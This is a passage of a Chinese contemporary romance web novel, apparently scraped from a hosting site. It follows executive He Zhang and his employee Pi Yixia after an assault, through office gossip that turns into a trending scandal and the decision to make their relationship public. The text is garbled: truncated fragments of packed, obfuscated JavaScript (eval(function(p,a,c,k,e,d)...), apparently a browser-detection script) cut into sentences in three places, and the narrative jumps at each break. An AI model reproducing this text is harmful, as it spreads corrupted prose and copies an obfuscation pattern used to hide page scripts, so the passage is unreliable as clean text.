他语气笃定,皮一夏有点惊讶:“你怎么知道……”明明把药藏起来了,她默默低下眼,“是治惊恐症的。高三学习压力大,家里又发生了很多事,就得了这个毛病,这几年已经很少发作了。” 毕竟是精神类疾病,她原本不想说,但既然已经讲到这里了,不妨把最后一点也倒干净,在他面前,做一个没有任何秘密的人。 “还有成涛。” 贺章拍了拍她的肩:“今天太累了,不想说不要勉强。” 她摇了摇头。 “他的事很简单。上高中时,我被他堵过几次。” “上次回老家,姑姑说他托人跟我求亲,我拒绝了,他可能怀恨在心吧,从表弟嘴里套话,问出了我家的门牌号。正好我也想找他对质,我爸爸的事,公司里没人知道,唯一可能会散播这件事的,就是成涛,有一次,我看见Daisy从他车上下来……总之我和他掰扯了几句,他就闯进来了。” 贺章脑中闪过厂房里的一幕,他如此珍视的人,被欺负成那样。失控的感觉又在胸腔翻腾起来,贺章沉默了半晌,才勉强压平心绪。 “不要说话了,睡觉好不好?” 皮一夏沉默点头,闭上眼睛,听见贺章说了一句:“夏夏,以后哪都不许去,就在我身边待着。” 精神一旦松懈下来,皮一夏很快就睡了过去。 贺章悄然起身,走出卧室,去楼下客厅打电话。 林献在电话里汇报:“已经安排王律去跟进后续处理,警方那边我会尽量协调,等皮小姐状态好一些,还需要做个笔录。” “知道了。”贺章语气沉冷,“找人好好翻成涛的底,我要让他牢底坐穿。” “是,我马上去安排。另外,梁栋和皮一辰那边,我已经告知情况,让他们暂时不要打扰皮小姐休息。但皮一辰还是很激动,晚点可能需要皮小姐亲自安抚。” “嗯。还有事吗?” 对面静了一会儿,吞吞吐吐说:“可能还需要做个心理准备……集团内部已经开始传八卦,说您和某位女士关系匪浅。” 这是林献润色过的流言版本,原版要更戏剧化一些。 还是总裁办那群姑娘。菲菲在群里向他求证:「献哥,听说今天贺总开会开到一半,突然接到一个女孩的微信视频,丢下一屋子高管,匆匆忙忙走了……是真的吗?」 还没等他回应,@YKK又在下面跟了句:「听说贺总都等不及走出会议室,就接了视频,那女孩张嘴就撒娇喊“Ethan”,喊得咱们贺总心神荡漾,跑着往电梯走……天呐,到底是谁,这么大魅力啊!」 群里又炸了。 @沅儿:「妥妥的霸道总裁独宠小娇妻!一人血书求贺总开情侣账号去拍短视频想看[对手指]」 @猫女士:「娇妻[点烟][点烟][点烟]贺总一向不是挺正经的嘛,没想到也有急不可耐的时候,人设有点崩啊……」 @YKK:「你不觉得这样才有反差感嘛!反正我是土狗我爱磕!!」 各种表情包和网络梗快速刷屏……林献默默看着,心想今天分明是一出警匪悬疑片,怎么就能被脑补成一部浪漫偶像剧? 也幸好皮小姐没真出事,不然Ethan恐怕会当场黑化,原地上演为爱复仇的狗血戏码。 呸呸呸……他怎么也被这群丫头的八卦魂附体了。 还是好好想想,怎么解决老板当着警察面打人这件事吧,唉…… 他刚要离开吃瓜现场,菲菲又在群里发了句:「听技术部一个小哥哥说,前几天下班后,有个长得很漂亮的女生进了贺总办公室,不会就是……啊啊啊太好奇了到底谁啊?!@林献」 答案已经呼之欲出了。 林献捂着额头,斟酌着回:「你们想多了,贺总的男女关系很简单」打完这行字又删掉,改成:「谣言。贺总只是去处理一桩急事。」 群里沉默了三十秒,菲菲发来一个生气的表情包:「你已经很久没贡献高质量瓜了,再这样,我们就要考虑把你开除出群了。」 林献:“……” 虽然但是,窝在这种八卦群里,还是很有必要的,他可不想被开除,想了想,发了个求饶的表情包。 林献:「尊敬的群主大人,请再给小的一次机会,这边马上就去前方打探。」 但是有关皮小姐的消息,肯定不能随便透露,乱说那是要杀头的,瞧瞧Ethan的脸色吧。 贺章拧着眉说:“盯好了,不许暴露她。” 林献忙应了声“是”,然后恭敬退下了。 皮一夏睡了个长长的觉,醒来第一眼看见的人,竟然不是贺章。 “苏苏?你怎么在这?” 她睡眼惺忪,看向坐在床边的人。两人一对视,苏晨雪蓦地红了眼圈:“出了这么大的事,我能不来吗。” 皮一夏忙坐起来,抱住她拍一拍:“你别哭啊,我都没事了。” 苏晨雪推开她,细细端详她的脸:“你告诉我是谁干的,我要找人,搞死他!” 大小姐用最温柔的语气,放最狠的话,皮一夏听得有点想笑。 认识这么多年,她还从没见过苏苏这副模样。虽然吃穿用度不掩奢华,但苏苏在人际交往上一向很单纯,甚至有点胆小,不争不抢不惹事,丝毫没有豪门千金该有的霸气,这样的人说要搞死谁,一定是气极了。 “好的,如果需要你帮我搞谁,我一定不会客气的。” 苏晨雪盯着她不说话。 “真的。就是老家的一个无赖,已经被警察带走了。你看我现在不是好好的吗,咱们不提他了。” 苏晨雪的脸色这才好了点:“身上还疼吗?” “一点点,没那么疼了……是Ethan让你过来的吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这番话说完,褚彦更酸了:“你在家谈情说爱,派我出去干苦力,黑心鬼,周扒皮!” “私事上,要不要我传授经验?”贺章难得此时心情不错,愿意和他多说两句。 褚彦两眼放光,转瞬又挂了一脸愁相:“晨晨都开始接受家里安排的相亲了,这都叫什么事,以前还叫哥,现在连哥也不喊了,都不跟我亲了。你让皮皮帮我打探打探,她到底怎么想的。” 贺章瞥了他一眼,淡淡道:“等你把山本大泽陪好了,再说。” “……”褚彦磨了磨牙,扬声朝卧室方向喊,“晨晨,回家了!” 事发第二天,皮一夏精神好了一些,警察来家里做了笔录,之后贺章又请了个精神科的医生朋友,叫周晋文的,来给她做心理疏导。 送医生出门时,贺章问:“她的惊恐症有办法痊愈吗?” 周晋文沉吟着说:“一般来说,大多数病人是能够实现临床治愈的,也有百分之二三十的人,迁延时间较长。目前没法保证说,好了之后不会再复发,但可以通过多休息、减少高压工作、接受心理治疗,来让病人放松精神,尽可能远离发病诱因。” “我知道了,今天麻烦你了。” “嗐,都老同学,跟我客气什么!”周晋文笑笑,坐进了车里,“改天约饭啊。” “好,一定。” 回到卧室,皮一夏靠坐在床头,正对着平板电脑上敲字。 贺章忍不住皱眉,拎起平板就丢到了一边:“你不工作难受是吧?” “处理一点事,就一点。”皮一夏伸着手去够,“我这假请的突然,好些人在找,我简单安排安排。” 贺章直接把她手抓回来,搂得结结实实:“不许干!” 皮一夏瞪了他一会儿,无奈叹气,靠到他怀里说:“Ethan,你这样会把我养成个咸鱼的。” “咸鱼?让我尝尝,咸不咸……”贺章说着,低下头吻住了她。 皮一夏的身体有一瞬僵硬,甚至下意识躲闪,被他扣着脑后压了回来:“夏夏,看着我。” 她听话,直视他的眼睛,那双漆黑的眸子里满是柔情,于是呆呆地任由他含着唇舌,缱绻地吮,渐渐地,也开始回应,手摸索进他的外套开衫里,又顺着T恤下摆钻进后腰,贺章呼吸一滞,猛地按住了。 “不许乱摸。”他低声警告。 皮一夏不乐意地噘嘴:“什么时候才能上主菜啊!” 他低笑一声:“你倒比我还急。” 两人静静相拥片刻,贺章问:“给弟弟打过电话了?” “打过了。他想来找我,被我劝住了,一个大学生,比我个上班族都忙。还是等我好了,去学校看他吧。” “我陪你。”说到这,贺章忽然想起一件事,神色不悦地捧起她脸,“你先给我老实交代一件事。” “什么事啊?” 50. 保真 “你的紧急联系人,为什么是梁栋?!”贺章冷冷道。 “梁栋……”皮一夏呆了呆,很快恍然,“之前有个同事突发疾病,被120拉走了,公司打她的紧急联系人电话,那号码成了空号。后来人事部就让大家更新资料,那会儿梁栋已经去大学教书了,我想着,万一有什么急事,还是联系他比较好,让他跟小辰慢慢说,免得吓到小辰。” 贺章哼了一声:“你对弟弟可真好!”一个大小伙子,吓什么吓! 皮一夏仰唇亲了他一下,笑眯眯说:“我以后会对你更好的。” 这还差不多。 贺章脸色转霁,又意识到不对,掐着她脸蛋说:“把紧急联系人改了。” “改成谁呀?”她装傻。 “你说呢!”贺章拧眉。 “好吧,回头等我到公司,改成小辰的。” “嘶!”贺章眼含警告,“故意惹我生气是不是?” 皮一夏埋进他怀里闷笑:“可是Ethan,我不能写你呀,那不就等于昭告天下,我们是什么关系了吗?” “我们是什么见不得人的关系吗?”贺章眉头拧成个疙瘩,挖出她的脸,“为什么不能昭告天下?” 皮一夏怔了怔。 是呀。他们已经不是上不得台面的床伴关系了,有正经名分,即便被公司同事知道,也没什么……最大的风险不过就是,有一天他们分开了,她会被贴上靠关系上位的标签,像Daisy一样……这冤枉吗?她以前是有自信的,在发生这么多事之后,却不敢肯定了。 在她和Daisy的战争里,贺章到底出过多少力,她都不敢问。她可以享受他在生活上的照顾,却不愿意接受他在工作上的帮扶,那会摧毁她一向坚守的公平竞争原则。 社会宣称不区分阶级,但每个人都知道,阶级就在那里,在人的心里,不在嘴上。在云溪庄园参加婚宴时,她没想过这一天,现在,贺章在普通舱和上等舱之间装了一架直梯,她可以轻轻松松上去,站在上面的感觉一定很好,但其实,在下面的感觉也还不错,可怕的是,有一天这架直梯突然消失了,她会摔得很难看,成为一个妄想攀高枝但失败了的可悲女人。 “Ethan,再给我点时间好吗?”她靠在他肩头,揪着开衫上的毛线,“我再攒点勇气。” 贺章故作不知:“你要攒什么勇气?” 皮一夏抬眼,抿唇笑了笑:“你太贵了,我暂时还买不起,现在昭告天下,我会变成一个痴心妄想、以色侍君的女人。” 贺章沉默片刻,捏着她下巴:“你确定我们之间,是你在以色侍君?” “……” 皮一夏无话可说。 贺章盯着她呆怔的小脸,忍不住掐了一把:“可以给你时间,但不能太久。你要攒什么勇气,快点攒。” 她瞬间笑得像春花一样,捧住他的脸,啵唧亲了一口:“好的,老板!” 在皮一夏的强烈要求下,周四终于回公司上班了。 不是她喜欢当牛马,只是有很多工作,实在不能再积压了,在其位谋其政,她一向不太习惯让同事等着,说到底,还是被职场PUA到位了。 还有一个原因,好不容易升了半个职,她不想因为长时间不在岗,让祁总对她有看法。 三天不来公司,再出现竟然有恍如隔世之感。 她的工位被人挪到了单独办公室,虽然没有贺章的大,但也够大了,一个人坐在里边,安安静静,却也感觉孤零零的。 适应了一会儿,她在微信上喊了张宝静。 张宝静敲了敲门,神色有点……敬畏?总之别别扭扭地走了进来,小声叫她:“皮皮姐。” “怎么回事,我离开三天,你变了性子?”皮一夏盯着她,朝办公桌前的椅子抬了抬下巴。 张宝静挪到椅子前,并膝坐下,两手端端正正放在膝盖上:“您找我,有事吗?” “你好好说话。”皮一夏忍不住皱眉,“以前也没听你用过敬称。” 张宝静忽然深吸一口气:“好的皮皮姐那我就不装了。你搬到这屋子,感觉跟坐上龙椅似的,我都不知道该咋说话了。哎你不知道,你不在这几天,快憋死我了,听了那么多八卦,都不知道该跟谁说……我跟你说,Daisy不是被开除了吗,现在好像还被起诉了,因为涉案金额大,可能还要判刑呢……” “大宝。”皮一夏打断了她的话,“我叫你过来,是有个事要说。” “啊?哦,你说。” “宣传部这边,我打算提一个人上来,往上面推荐了三个人,你是其中之一。” 张宝静的眼越睁越大:“我要升职?!” “不是要升职。”皮一夏严谨地纠正她,“是有机会升职,能不能上来,要看你的能力,我不会偏袒任何一个人,所以,拿出你钻研八卦的劲头,好好准备。” “可是我,也没那么想升职……”张宝静纠结地对手指,“虽然升职也挺好的,起码工资高,我一年能多看几场演唱会……” “……你快出去吧。”皮一夏直接赶人,“帮我叫倩倩进来。” “哦。”张宝静慢吞吞站起身,“皮皮姐,你不在外边我好无聊啊……对了你的脚咋样了啊,我刚刚看你进公司的时候,一瘸一拐的。” “好多了,放心。” 安排好宣传部这边的工作之后,皮一夏又和运营中心的负责人明丽碰了个头,最后跟其他部门负责人一起,到祁总那屋开了个会,结束时,她被单独留下了。 “你申请调查竞聘文件被抄袭的邮件,我同意了。如果查证属实,按照流程,会恢复你内容中心负责人的正式职位,但还是那句话,接下来一个月,我会对你的工作能力保持关注。”祁山说。 皮一夏点头:“好的祁总,谢谢。” “嗯。” 自从祁山被褚彦暗示过后,这两天他一直在思考,该怎么跟这个下属相处。今天再见,他决定保持自己的风格,不刻意亲近,也不带任何偏见。 如果他看人的眼光没出问题,皮一夏应该是个合作愉快的下属。 “伤好些了吗?”祁山问。 皮一夏礼貌作答:“好多了,谢谢祁总关心。” “那就好,如果还是不舒服,可以请假休息,我不是没人性的上司,但前提是做好自己的工作。” 皮一夏松了口气,感觉祁山是个能够愉快共事的上司,她的笑容不由真诚许多:“好的。” 从祁山办公室出来,已经十二点十分了,办公区空了大半,都去食堂吃饭了。 她的脚不方便下楼,打算叫个外卖,刚打开美团,就接到一个电话:“皮小姐,您的餐放17层前台了,记得来取啊。” 她没订餐啊…… 狐疑地走到前台,找到她的餐,一看那个包装,立刻就知道是谁定的了……霸总订餐,也是豪华版。 来自米其林三星餐厅的推荐菜品:黄金脆带鱼、脆皮妙龄乳鸽、沙蒜豆苗、板栗烧猪蹄……外加一份米饭和一份紫菜蛋花汤。 贺章是把她当猪了吗! 皮一夏对着一桌子菜哭笑不得。 微信视频通话铃声响起,她接起来就嚷:“你怎么定这么多菜,我吃不完呀!” “那我过去帮你消化?”贺章说着从椅子上站起来。 “不要!”皮一夏恨恨说,“你敢来就死定了!” 他嘴角噙笑,坐回椅子里:“快吃。” “哦。”无论如何,被人惦记还是很开心的。 她把手机搁在支架上,放到正前方,对着镜头开始吃播:“你吃饭了吗?” “还没有。”贺章说,“马上要出去。” “好惨……现在要走了吗?那我挂了吧?” “不许挂。还有时间,再聊几句。” “哦。”可是她占着嘴,说不了话。 贺章摸了摸屏幕上的脸:“想我吗?” 她有点不好意思,瞟他一眼就转开了:“才一上午没见吧……” “小没良心的。”贺章不满地盯她。 皮一夏脸红了。 贺章忽然感觉,自己挖了个坑,把自己埋进去了,他现在就想跑过去,把她揉在怀里。 无奈地叹了口气,换个话题:“脚疼不疼?走了一上午,是不是严重了?” “哪有走一上午,我就在办公室坐着,除了开会和上洗手间,都没怎么动。” 话音刚落,有人敲门,皮一夏忙比了个手势:“嘘!”然后把手机扣在桌子上,“进来。” 门一开,张宝静进来了。 看见她那张脸的瞬间,皮一夏突然呛咳不止,抽了张纸巾边捂嘴边咳。 “怎么了?” 手机里传出声音,皮一夏手忙脚乱地挂掉了视频。 “你怎么了大宝?怎么成了这个德行?” 张宝静的齐刘海波波头乱糟糟,仿佛跟谁打了一架,被人挠成了鸡窝,圆脸涨红,胸口不停起伏。 皮一夏忙站起身,从桌子后绕出来,走到她身前。 张宝静气呼呼说:“皮皮姐,你跟贺总没关系吧?” 皮一夏瞬间又差点被这句话噎死,好在她修为够高,咽了咽口水,淡定反问:“为什么这么问?” “我刚刚在食堂,听见隔壁桌几个女生聊八卦,说你……” 张宝静欲言又止,皮一夏追问:“说我什么?” “……说你勾搭贺总,是什么霸总的小娇妻!靠我当时一听就火了……我说你们有证据吗?没证据别胡说八道侮辱人!她们就说言论自由,想说什么说什么,我就跟她们吵起来了。” 皮一夏听完,心里重锤落地,反倒有种麻木和冷静。 “打架了?”她问。 张宝静垂着眼,踢了两下地毯:“也不算打架,就是撕扯了两下,被人拉开了。反正,我不允许人污蔑你。” 皮一夏心里一暖,拉她坐到桌前的椅子里。 脚疼,站不了太久,她也回到后面坐下,斟酌着说:“大宝,你为我好,我很感激,但这是公司,以后做事不要这么冲动,如果你想往上走,就要学着克制自己的脾气,知道吗?” 张宝静想了想,默默点头:“我记住了。” “嗯。”皮一夏拿起一双干净筷子,递到她手里,“一起吃吧,这么多,我自己也吃不完,你应该也还没吃饱吧?” 张宝静对美食来者不拒:“那我就不客气了。”她吃了一口鱼,就消气了,两眼放光说,“太好吃了吧,哪家店的啊?下回我也要定。” “新荣记。贺总订的。”皮一夏淡淡地说。 张宝静刚喝进嘴里的紫菜蛋花汤,顺着嘴角流下来,滴滴答答,有紫菜,有蛋花,还有汤……整个人神情呆滞。 “我跟贺总,在谈恋爱。”皮一夏又加了把火。 张宝静突然开始狂咳,咳得脸颊通红,双眼冒泪,皮一夏急忙给她抽了两张纸。 “……咳咳皮、皮皮姐、你你说……真的?” 皮一夏郑重点头:“保真。” 张宝静瞬间再次陷入呆滞。 “我本来还没想公开,但既然消息已经开始传了,你又那么喜欢吃瓜,我不妨给你第一手的真瓜。不要再去跟她们争辩了,随便她们怎么说,如果你以前信任我,我希望继续得到你的信任,可以吗?” 张宝静呆滞地点了点头,视线缓缓转向手里的筷子,再缓缓转向桌上的菜,忽然倒吸一口气,“腾”地一下站起来:“我我我我竟然吃吃到了,伟大的贺总、贺总订的餐?!” 皮一夏忙起身捂住她嘴:“你小声点,不许告诉别人!” 张宝静激动得面色通红,不停点头,皮一夏挪开手,两人缓缓坐回椅子里。 四目相对,皮一夏有些许尴尬,张宝静两眼放光,好像一只误入瓜田的猹。 “皮皮姐,尊敬的贺总是怎么勾、勾搭你的啊……” 皮一夏噗嗤笑出声:“人家不是传,我先勾搭的他吗?” 刚说完,贺章的微信来了:「发生什么事了?」 皮一夏想了想回:「吃了个大瓜,噎了一下,没事,你快忙吧。」 放下手机,张宝静眼睛更亮了:“……贺总?” 皮一夏点头。 “我的天呐!”张宝静一脸崇拜,“皮皮姐不愧是你……这个姐夫,我这边没意见!” “去你的。”皮一夏笑骂一句,“赶紧吃饭,被你搅和的,我菜都凉了。” “哦哦哦,吃饭吃饭……我这顿打,挨得真是不冤!” 原以为不过一个八卦消息,掀不起什么风浪,谁知道下午两点,竟然闹到了热搜上! 明晃晃的词条#华森集团CEO情迷女下属#从榜单第40位,一路升到热1,仅仅用了二十分钟。 “情迷”两个字简直赤裸裸的不怀好意,给这个话题增添了几分香艳又狗血的意味。 话题原发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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蒋鸿在屋子中间来回踱步,怒不可遏道:“私下里,你想怎么玩儿怎么玩儿,我们大家都管不着。但现在,你跟公司里的女下属搅和不清,影响到了集团的正常运营,回购股权这件事好容易有了大进展,被山本紧急喊停,这属于重大过错,我不得不召开董事会,回应股东们的问询,必要的时候,不排除讨论撤销你的CEO职务。” 恋情曝光打乱了贺章的节奏。眼下他和蒋鸿在董事会的势力不相上下,在褚彦入局之前,被蒋鸿夺权的可能性不是没有。在这么关键的时刻,如果华森陷入内斗,回购股权这件事就会彻底泡汤。 贺章脸色沉冷,漠然望着蒋鸿:“蒋副董,你很不想看见回购成功?” “我不想?”蒋鸿顿脚转身,不可思议地说,“现在是我在影响回购吗,分明……” “既然如此,”贺章冷冷打断他,“为什么要选在今天,选我坐上谈判桌时,向媒体爆料我的私事?” 蒋鸿倏地身形一顿,几不可见地咽了咽口水:“你不要血口喷人!是谁跟你说的,我跟媒体爆料你的事?让他站出来当面跟我对峙!” “必要的时候,不排除让他出来和你对峙。”贺章讥讽道,“还有一件事,我想你有必要知道,赵衡为了向苏老求救,主动坦白了不少有意思的东西,你的老师,苏老为了让你死得不要太难看,可是一直在帮你兜底。” 蒋鸿显得有些慌乱,张了张嘴,却没说出话来。 贺章松背靠在椅子里,姿态闲适,面色也缓和了不少,像终于击中了猎物要害,因而丧失了逗弄的兴致。 “董事会,你想开可以开,但讨论什么议题,由我来定。蒋副董,有时间,多去陪苏老下下棋。” 手机屏幕上弹出一条微信消息,贺章瞥了一眼,淡声道:“现在,你可以出去了。” 蒋鸿怔忪一瞬,愤愤不甘道:“你目无尊长,行事荒唐,华森早晚会毁在你手里!”说完摔门而出。 贺章拿起手机,点进微信,盯着皮一夏刚发来的消息。 「需要我做什么吗?」 她一定内疚到了极点。 贺章想了想,发了一句话过去:「按时下班,等我接你。」 敲门声响,他随口说了句:“进来。”目光依然落在手机屏幕上,点开她的头像,盯着看了会儿。 抬眼,林献站在办公桌前,低着头一言不发。 贺章按熄手机屏,放在一旁,上身微微前倾,手肘撑在桌上,两指捏住了下巴,漆黑的眼睛一瞬不瞬盯着他。 林献在这样的目光逼视下,羞愧、自责到极处,全身都僵了。 “贺总,我自请辞职。” 今天的错,都是他犯下的,与其听Ethan说出那句“你可以下班了”,不如他主动开口,还比较好受一些。 贺章沉默半晌,平静道:“我让你挡住八卦流言,你没做到。这件事尚有辩解的余地,我可以不追究。”顿了顿,语气忽然加重,“你在谈判中得到消息,蒋鸿要向媒体爆料,这么大的事,你没有亲自处理,却交给Catherine来拦截,这是严重失职。” 林献脸色涨红,身体忍不住发抖,几乎快哭出来了:“对不起,贺总。” “你的机敏果决,对风险的预判能力,是我最看重的特点。这一次,你让我很失望。” 林献听着他低沉的语气,终于忍不住眼圈泛红。 一开始是默默掉眼泪,渐渐地,连肩膀也抽动起来,几乎泣不成声。 身高一八五的青年人,好像个一五八的中学生,哭得涕泪横流。 贺章抽了两张纸巾递给他。 林献懵了一下,急忙接过去,偏过头擦了擦脸,努力憋回了哭声,肩膀却还在不由自主地抽动。 “这次的事,先给你记着。” 贺章语气缓了一些,林献猛地抬头,神色难以置信。 他还能留下来吗?Ethan从不给人第二次机会……除了董力。 董力犯的错毕竟不大,不像这一次,几百亿的谈判突然被迫中止,之后还不知能不能继续……如果回购计划泡汤,他就是整个集团的罪人! 贺章两指捏着太阳穴,缓缓揉动。 林献忙端起他的杯子,跑去饮水机旁,接了杯水过来。 贺章端过去喝了一口,正色道:“今天的事,我也有错。警惕性不足,让她以最坏的方式被曝光,所以,我也需要去道歉。在此之前,你帮我办两件事。” 51. 公开 林献瞬间重整旗鼓,燃起了斗志:“您说。” “第一,Catherine的能力已经跟不上集团的发展节奏,华森需要一位更机敏、更强悍的公关负责人,你跟HR去物色合适人选,一周之内,把资料交到我手里。” “好的贺总!” “嗯。第二件……“贺章停下来想了想,似乎被难住了,眉头皱着,过了许久才说,“去约一家媒体,要求有较高职业操守,既往对华森没有恶意攻击,尽快安排一次我的个人专访,最好今晚就采,明天见刊。” 林献想了想:“《远望》怎么样?这家媒体一向和我们关系交好,如果要澄清这次的事,《远望》在财经方面的影响力也是最合适的。” 贺章摇头:“《远望》可以安排,但不急在今天。找擅长人物专访、文字感染力强的媒体,或者独立撰稿人,粉丝受众不限财经,只要相对理性就可以。 林献心里有数了:“好的贺总,我这就去安排。” 办公室终于清净了,贺章仰靠在椅子里,闭上眼睛缓了一会儿,拿起手机,给皮一夏打电话。 响了两声接通,声音小小的:“喂。” “去侧门等我。”贺章边说边起身,拎起椅背上的外套,单手往身上穿,“马上到。” “嗯……我不在公司,打车回家了。” 贺章动作一顿,眉峰缓缓压了下来:“为什么不等我去接?” “太高调了。万一再被拍到,不是主动给人送料吗?你先处理正事吧,需要我怎么配合,我都可以。” 贺章听着她闷闷的声音,一时又心疼,又恼火,还有愤恨,说不清什么滋味。 “你给我在家等着。” 他丢下这么一句,就挂了电话。 二十分钟后,贺章赶到了皮一夏家,她也才刚进门不久,正坐在沙发上发呆,看见他立马站了起来。 “怎么这么快?”她背着手,跟犯了错的学生似的。 这一路上,贺章已经压平了自己的情绪,只想快点抱抱她,结果一见面,又忍不住憋气。 一个两个,都在他面前摆出这幅样子! “你这是在做什么?” 皮一夏抬头看了他一眼,又默默垂下了脑袋:“听训。我想过了,如果我出面否认我们的关系,应该没什么人信,如果我承认,是我勾引你,和你没关系,这反倒印证了你色令智昏……我想不出别的办法,去降低这件事的影响了,如果最后谈判彻底崩了,我……” 开除她,都不够赎罪。 “谈崩了怎样?”他继续逼问。 皮一夏沉默片刻,黯然道:“我也不知道……任你处置吧。” 如果不是她坚持要回家拿衣服,就不会遇上成涛,引发后来的事。 如果早上没有坐他的车去公司,也不会给人抓到实锤,偏偏是今天。 现在事情发生了,她一个小小的螺丝钉,补不了天那么大的窟窿,最后还得他去收拾烂摊子……这种感觉,比让她吞刀子还难受。 被他狠狠骂一顿,也许还能好过点,所以她虽然身体僵硬,但站得笔直。 贺章盯着她低垂的脑袋,缓缓上前一步,皮鞋抵住了她的拖鞋,凉凉的声音落在她头顶上方。 “你不知道?我让你下班等我,你一声不吭自己跑了,指挥我去处理正事……我看你知道的很!” 那还能怎么办嘛!她也有点委屈。 谁知道偷拍的人藏在哪个角落,已经惹了这么大麻烦,难道还嫌不够吗。 贺章看不到她的脸,感觉她肩上像压了一座大山,含胸缩背地站在他面前。 他憋的那口气瞬间又变成了心疼,伸手将她圈到怀里,摸了摸头:“都不知道我在气什么,就胡说八道。” “你是来安慰我的吗?”皮一夏声音闷闷的,“不用的。哪有人闯了祸还好意思要安慰的……你去处理大事吧,不要把时间浪费在我身上,我知道,事情不全是我的错,我能开解好自己的。” “还胡说八道!”贺章忍不住拍了她一巴掌。 明明挨打的是背,眼眶却酸疼。 她一声不吭,跟个木头棍子似的,硬邦邦戳在地上,任由他抱着。 贺章感觉不到温存,心里不由生出不满,忽然倾身将人抱起来,坐到沙发上。 还是这个姿势最舒服。 “脚疼不疼?” 他边说边褪她袜子,去看红肿之处,皮一夏忙抓住他的手,拦下了动作:“不疼了……” 贺章转回头,盯着那张乖巧但倔强的脸,还有低垂的眼睫,心里生出一丝无奈。 抵住她额头蹭了蹭:“想了你一天,能不能给我个好脸色?” 低声哄慰的语气,一下子就逼得她红了眼。 “夏夏。”他的唇凑过来,亲了亲她,“是我的错。害你被人骂了一下午,心里不舒服,就打我出出气,嗯?” 干嘛要这样……分明是她闯了祸,他还来道歉,是想让她更愧疚吗? “Ethan。”皮一夏伸手搂住他的脖子,“你不怪我吗?” “怪。”贺章语气带笑,从颈窝处挖出她的脸,“祸是两人一起闯的,你只顾自己认错,让自己心里舒服,你说,怎么不怪你?” 皮一夏不知道该说什么了。 今天这事不是普通的祸,他要承受的压力就不是她能想象的,贺章还这么轻松地安慰她,皮一夏心中五味杂陈,又甜蜜幸福又感觉自己不配,但这会儿不是内疚和矫情的时候,她捧住他的脸,亲了一下说:“我好了。” 贺章笑着将她揽在怀里,到这时才把心放下。 电话铃声突然响起,贺章接起来,一直没出声,最后说了句:“可以。”就挂断了。 “你要走了吗?” “不是我,是我们。”贺章说完就把人抱起来,往玄关走,“回家。” “欸欸……我手机!” 贺章转身掉头回来,让她拿起茶几上的手机。 “还要拿什么?” 她动了动腿:“你放我下来吧,我又不是不能走。” “快点,别耽误时间。” 贺章不肯放人,就这么抱着,皮一夏有点无奈,指了指沙发:“还有背包。” 他眼风扫过去,弯下膝盖,一根手指勾起背包带子,抬腿就往门口走。 “换鞋换鞋……”她脚上还穿着拖鞋,但贺章充耳不闻,打开门就出去了,她只来得及匆忙关掉灯的开关,再甩上大门,“你说实话,是不是把我当Oliver了?怎么随时随地捞起来就抱啊……” “Oliver可不像你,这么会惹我生气。” 回到丰和壹号别墅,已经八点多了,贺章去洗手,皮一夏坐在沙发上,抱起Oliver撸着玩。 过了一会儿,他回来坐到她身边,皮一夏忙问:“你到底怎么想的呀?还有没有解决办法?” 她追问了一路,贺章都不肯说,只说一些无关痛痒的闲话,那样子看得她更害怕了,明显就是他也没办法了,所以才顾左右而言他。 贺章见她愁眉不展,探手将她揽到怀里,揉了揉脑袋:“进不得,又退不了的时候,就换条路走。” “什么意思?” “意思就是,既然不能掉进话题陷阱里,被迫辟谣,也不能什么都不做,任人抹黑,那就趁这个机会,公开我们的关系。” 皮一夏猛地坐直身子:“这时候公开,真的可以吗?会不会被人说,我为了逼你承认身份,故意自导自演了这一出?这样的话,网友对你的观感也不会好。还有可能,大家会觉得你是为了拯救股价,在洗白传闻。” “难道不是我为了逼你承认身份,自导自演了这一出?”贺章抿唇揶揄。 “你不要闹了!说正事。” 贺章攥住她手,又拖回怀里:“真相是最好的武器。这是我目前能想到,最直接有效的办法。如果要预设风险,那么世上不存在完美的解决方案。只要收益大于风险,就值得一试。所以夏夏,你允许我公开吗?收益是,我们能一劳永逸地解决问题。风险是,你可能还会被骂。” “干嘛问我允许不允许,我不允许,难道就不做了吗?”皮一夏低声说,“何况这件事,本来就因我而起。” 贺章捧起她的脸,认真道:“我不希望你有被胁迫的感受,虽然多少不可避免,但我更希望,你把这件事,当成是我们两人的私事,遵从自己的内心,如果你同意,我就去做,不同意,我尊重你的意见,再想别的办法。” 皮一夏忽然有点想哭。 这个作风冷硬的男人,从来把她的需求放在心上,关照她的身体,也尊重她的想法……她到底做了多少好事,才会遇见他。 “Ethan,我们以后会分开吗?” 贺章抚了抚她微微泛红的眼皮:“也许会。等到白发苍苍,我先走,或者你先走。” 皮一夏抽了抽鼻子,猛地扑到他怀里说:“我们公开吧!” 她不再需要积攒什么勇气,贺章的爱,就是她最大的底气。 别墅的门铃响了,是约的记者到了,皮一夏闻言惊怔不已,贺章忍不住笑着拧她鼻子。 “怕什么。我的个人专访。或者,你愿意一起?” 皮一夏立刻摇头:“不要!”她说着站起身,往楼梯方向走。 虽然答应了公开,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“感谢贺总,这是您回国后的首次个人专访,我相信很多媒体都希望得到这个机会,谢谢您选择《见闻》。我们知道,您一向行事低调,突然接受访问的原因,是否因为今天的绯闻?您希望借助媒体,来为自己辩解、正名吗?” 林献后背开始发紧,这不是按照提纲上来的啊!就算心里知道是这个原因,也没必要这么直白的说出来吧…… 暗暗叹了口气,林献打量着老板的神色,心里飞速盘算,是否需要他来化解这个问题。 还没等他想出结果,贺章就开口了。 “今天的事,确实是一个契机。但这次采访不是为了辩解什么,只是为了和华森的客户、投资者,以及对我个人抱有好奇的网友们开放地沟通。” 卓晓燕笑了一下:“贺总很坦诚,相信我们接下来会聊得愉快。” 话音刚落,贺章突然转头,对着阳台的玻璃门说了句:“夏夏,回屋去玩儿。” 卓晓燕一愣:“夏夏是……” 